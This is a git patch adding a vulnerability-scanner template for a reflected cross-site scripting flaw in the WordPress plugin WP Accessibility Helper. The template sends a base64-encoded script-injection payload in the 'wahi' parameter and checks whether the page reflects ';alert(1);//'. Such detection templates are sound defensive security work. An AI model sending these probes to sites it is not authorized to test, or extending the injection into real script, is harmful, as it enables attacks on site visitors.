From 9981421aab92cbb23c729b2fc508c180f2c45e2e Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Sat, 19 Feb 2022 16:43:05 +0530 Subject: [PATCH] Create wp-accessibility-helper-xss.yaml --- .../wp-accessibility-helper-xss.yaml | 30 +++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 vulnerabilities/wordpress/wp-accessibility-helper-xss.yaml diff --git a/vulnerabilities/wordpress/wp-accessibility-helper-xss.yaml b/vulnerabilities/wordpress/wp-accessibility-helper-xss.yaml new file mode 100644 index 0000000000..dac84fbdef --- /dev/null +++ b/vulnerabilities/wordpress/wp-accessibility-helper-xss.yaml @@ -0,0 +1,30 @@ +id: wp-accessibility-helper-xss + +info: + name: WP Accessibility Helper (WAH) < 0.6.0.7 - Reflected Cross-Site Scripting (XSS) + author: dhiyaneshDK + severity: medium + description: The plugin does not sanitise and escape the wahi parameter before outputting back its base64 decode value in the page, leading to a Reflected Cross-Site Scripting issue. + reference: https://wpscan.com/vulnerability/7142a538-7c3d-4dd0-bd2c-cbd2efaf53c5 + tags: xss,wordpress,wp-plugin,wp + +requests: + - method: GET + path: + - '{{BaseURL}}/?wahi=JzthbGVydCgxKTsvLw==' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - ";alert(1);//" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200